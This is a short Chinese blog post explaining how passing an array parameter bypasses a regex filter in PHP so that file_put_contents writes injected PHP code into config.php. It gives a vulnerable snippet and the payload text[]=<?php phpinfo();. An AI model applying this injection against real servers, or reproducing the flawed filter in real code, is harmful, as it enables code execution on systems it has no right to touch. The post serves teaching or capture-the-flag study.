file_put_contents()

file_put_contents() 函数把一个字符串写入文件中。

file_put_contents()在写入文件时的第二个参数可以传入数组,如果是数组的话,将被连接成字符串再进行写入。在正则匹配前,传入的是一个数组。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。这样就可以绕过类似检测“

$text=$_GET['text'];

if(preg_match('[<>?]',$text)){

die('error!');

}

file_put_contents('config.php',$text,FILE_APPEND);?>  //FILE_APPEND 为可选参数。意为内容追加写入

构造text[]=<?php phpinfo();

虽然会报错,但是 <?php   phpinfo();仍然会被写入config.php文件中

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容